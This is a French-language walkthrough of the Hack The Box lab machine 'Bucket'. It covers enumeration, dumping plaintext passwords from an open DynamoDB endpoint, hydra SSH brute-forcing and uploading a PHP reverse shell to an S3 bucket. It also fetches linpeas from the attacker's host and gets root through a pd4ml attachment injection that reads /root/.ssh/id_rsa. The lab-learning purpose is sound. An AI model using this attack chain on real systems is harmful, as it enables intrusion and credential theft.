/* */
06/05/2021

Hackthebox Bucket Writeup – 10.10.10.212

note: In order to write texts in different languages that I know and to improve this, this article will be written in French.
la note: Afin d’écrire des textes dans différentes langues que je connais et d’améliorer cela, cet article sera rédigé en français.

Nmap Scan et Enumerate Système

...
..
root@kali:~/htb/boxes/bucket# nmap 10.10.10.212 -sC -sV 
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-04 09:35 +03
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.34s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.77 seconds
...
..
.

Nous avons deux ports ouverts. Verifions la page Web fonctionnant sur le port 80. Mais lorsque je visite l’adresse IP (http://10.10.10.212), elle redirige vers “bucket.htb”. C’est pourquoi nous devons éditer notre fichier «hosts».

...
..
root@kali:~/htb/boxes/bucket# cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	kali
192.168.94.137  broken.dc
192.168.94.131  loly.lc
192.168.124.129	cryptobank.local
10.10.10.191	blunder.htb
10.10.10.193	fuse.fabricorp.local fabricorp.local
10.10.10.192	blackfield.htb
10.10.10.196	rope2.htb gitlab.rope2.htb
10.10.10.194	megahosting.htb
10.13.37.11	akerva.htb
10.10.10.201	laser.htb
10.10.10.199	openkeys.htb
10.10.10.204	omni.htb
10.10.10.197	sneakycorp.htb sneakymailer.htb dev.sneakycorp.htb
10.10.10.198	buff.htb
10.10.10.200	unbalanced.htb intranet.unbalanced.htb
10.10.10.203	dimension.worker.htb story.worker.htb devops.worker.htb worker.htb spectral.worker.htb
10.10.10.210	reel2.htb
10.10.10.208	crossfit.htb gym-club.crossfit.htb ftp.crossfit.htb
10.10.10.209	doctors.htb
10.10.10.211	jewel.htb
10.10.10.212	bucket.htb 

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
0.0.0.0         license.sublimehq.com
...
..
.

Nous avons trouve une page sans aucune fonctionnalite sur le port 80. Probablement, elle devrait avoir un sous-domaine. Pour cela, j’utiliserai le script de recherche de sous-domaine de l’outil nmap.

...
..
root@kali:~/htb/boxes/bucket#  nmap -p 80 --script http-vhosts --script-args http-vhosts.domain=bucket.htb 10.10.10.212
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-04 09:52 +03
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.34s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-vhosts: 
| s3.bucket.htb : 404
|_127 names had status 302

Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds
...
..
.

Nous avons trouve un sous-domaine nomme “s3.bucket.htb”. Après avoir ajouté cette adresse au fichier “hosts”, vérifions-la.

Il n’y a rien d’autre qu’un texte indiquant que le systeme fonctionne. Par consequent, nous devons rechercher annuaire.

...
..
root@kali:~/htb/boxes/bucket# wfuzz -c -u http://s3.bucket.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc=404,403,302,301
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer                         *
********************************************************

Target: http://s3.bucket.htb/FUZZ
Total requests: 220547

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                   
===================================================================

000000257:   200        0 L      5 W      54 Ch       "health"                                                                  
000001674:   200        0 L      0 W      0 Ch        "shell"    
...
..
.

Nous avons trouve deux annuaire differents. shell et “health

Serveur est une dynamoDB Amazon. Pour cela, nous devons installer l’outil cli publie par amazon et le parcourir.

apt installer awscli

Après la configuration initiale, aws doit être défini. J’ai utilisé cette source pour cela.
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html

Apres la configuration, recherchons l’adresse –s3.bucket.htb– avec aws. Pour les commandes “aws dynamodb”, j’ai utilise le guide publie par amazon.
https://docs.aws.amazon.com/cli/latest/userguide/cli-services-dynamodb.html

...
..
root@kali:~/htb/boxes/bucket# aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/ 
{
    "TableNames": [
        "users"
    ]
}
...
..
.
...
..
root@kali:~/htb/boxes/bucket# aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/  
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}
...
..
.

Nous avons trouve trois informations d’identification dans le tableau “users”. Nous pouvons essayer de nous connecter avec ssh.

Mgmt:Management@#1@#
Cloudadm:Welcome123!
Sysadm:n2vM-<_K_Q:.Aa2

...
..
root@kali:~/htb/boxes/bucket# hydra -L user -P pass 10.10.10.212 ssh 
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-04 10:50:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking ssh://10.10.10.212:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-04 10:50:18
...
..
.

Aucun des mots de passe que nous avons trouves ne fonctionnait pour ssh. Continuons à utiliser l’outil aws.

...
..
root@kali:~/htb/boxes/bucket# aws s3 ls --endpoint-url http://s3.bucket.htb
2020-12-04 10:55:03 adserver
...
..
.
...
..
root@kali:~/htb/boxes/bucket# aws s3 ls --endpoint-url http://s3.bucket.htb/ --human-readable --recursive s3://adserver
2020-12-04 10:57:03   37.0 KiB images/bug.jpg
2020-12-04 10:57:03   50.3 KiB images/cloud.png
2020-12-04 10:57:03   16.1 KiB images/malware.png
2020-12-04 10:57:03    5.2 KiB index.html
...
..
.

Apres quelques recherches, nous pouvons ajouter un shell au serveur “adserver” et ętablir une connexion. J’utiliserai “pentestmonkey php-reverse-shell” pour cela. Je pourrais aussi utiliser msfvenom. cependant, il serait plus sain d’acheter une coquille directement.

...
..
root@kali:~/htb/boxes/bucket# aws s3 cp reverse.php --endpoint-url http://s3.bucket.htb s3://adserver/images/reverse.php
upload: ./reverse.php to s3://adserver/images/reverse.php   
...
..
.

Nous pouvons charger “shell”. Cependant, un “cronjab” supprime le fichier que nous avons téléchargé après un certain laps de temps. Par conséquent, dès que le serveur php est actif, nous devons exécuter le shell pour pouvoir obtenir une connexion inversée. J’écrirai un script qui le fera automatiquement.

J’ajouterai ce script à ma page github pour ceux qui veulent l’utiliser plus tard.

...
..
root@kali:~/htb/boxes/bucket# rlwrap nc -lvp 1515
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1515
Ncat: Listening on 0.0.0.0:1515
Ncat: Connection from 10.10.10.212.
Ncat: Connection from 10.10.10.212:48478.
Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 08:29:03 up  7:58,  0 users,  load average: 0.09, 0.08, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty;pty.spawn('/bin/bash')"
/bin/sh: 2: python: not found
$ which python
$ python3 -c "import pty;pty.spawn('/bin/bash')"
...
..
.

Et nous avons eu la connexion avec ncat. Nous avons un spawn terminal avec python. Notre autorite est www-data.

...
..
www-data@bucket:/home/roy$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
www-data@bucket:/home/roy$ 
...
..
.

Nous pouvons essayer les mots de passe que nous avons initialement trouves pour roy

...
..
root@kali:~/htb/boxes/bucket# hydra -L user -P pass 10.10.10.212 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-04 11:40:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:4/p:3), ~1 try per task
[DATA] attacking ssh://10.10.10.212:22/
[22][ssh] host: 10.10.10.212   login: roy   password: n2vM-<_K_Q:.Aa2
...
..
.

Nous avons trouves notre mot de passe pour roy.
“roy":”n2vM-<_K_Q:.Aa2"
Connectons-nous au systeme avec une connexion ssh et examinons-le.

...
..
root@kali:~/htb/boxes/bucket# sshpass -p "n2vM-<_K_Q:.Aa2" ssh roy@bucket.htb
...
..
.
...
..
roy@bucket:~$ cat user.txt 
63fe15214cec529495055db816db7ed0
roy@bucket:~$ 
...
..
.

J’ai utilisé des linpeas pour analyser le système.

...
..
roy@bucket:/tmp$ wget 10.10.14.10:8080/linpeas.sh
--2020-12-04 10:26:52--  http://10.10.14.10:8080/linpeas.sh
Connecting to 10.10.14.10:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 139464 (136K) [application/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                 100%[======================================>] 136.20K  99.9KB/s    in 1.4s    

2020-12-04 10:26:54 (99.9 KB/s) - ‘linpeas.sh’ saved [139464/139464]

roy@bucket:/tmp$ chmod +x linpeas.sh 
roy@bucket:/tmp$ ./linpeas.sh
...
..
.

En naviguant à l’intérieur de “/var/www/html”, j’ai trouvé un fichier intéressant. Voici un service fonctionnant à 127.0.0.1:4566 avec le privilège root. J’utiliserai à nouveau aws pour exploiter ce service. Avec ce service, créons un fichier pdf /root/.ssh/id_rsa et ajoutons-le. Pour cela, nous utiliserons les paramètres indiqués dans le fichier “index.php”.
Ensuite, nous nous connecterons au port 8000 sur lequel le service associé est en cours d’exécution et téléchargerons notre fichier. mais le port 8000 ne fonctionne que sur localhost. Je vais faire la redirection de port avec ssh pour cela.

ssh -L 8000:127.0.0.1:8000 roy@10.10.10.212

...
..
roy@bucket:/var/www/bucket-app$ aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            }
        ],
        "TableName": "alerts",
        "KeySchema": [
            {
                "AttributeName": "title",
                "KeyType": "HASH"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1607072563.554,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 10,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 0,
        "ItemCount": 0,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
    }
}
...
..
.
...
..
roy@bucket:/var/www/bucket-app$ aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"Paperclip\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}
...
..
.
...
..
roy@bucket:/var/www/bucket-app$ curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/
...
..
.
...
..
root@kali:~/htb/boxes/bucket# chmod 600 bucket_root_id_rsa 
...
..
.
...
..
root@kali:~/htb/boxes/bucket# ssh root@bucket.htb -i bucket_root_id_rsa 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 04 Dec 2020 09:37:39 AM UTC

  System load:                      0.08
  Usage of /:                       39.8% of 19.56GB
  Memory usage:                     18%
  Swap usage:                       0%
  Processes:                        181
  Users logged in:                  1
  IPv4 address for br-bee97070fb20: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.212
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:6f3f

 * Kubernetes 1.19 is out! Get it in one command with:

     sudo snap install microk8s --channel=1.19 --classic

   https://microk8s.io/ has docs and details.

91 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Oct 13 10:25:01 2020
root@bucket:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bucket:~# cd /root
root@bucket:~# ls
backups  docker-compose.yml  files  restore.php  restore.sh  root.txt  snap  start.sh  sync.sh
root@bucket:~# cat root.txt 
5a2156389accef66b4c733b757fdb94a
root@bucket:~# 
...
..
.

Et nous avons atteint le drapeau racine. Merci pour la lecture.

error: Content is protected !!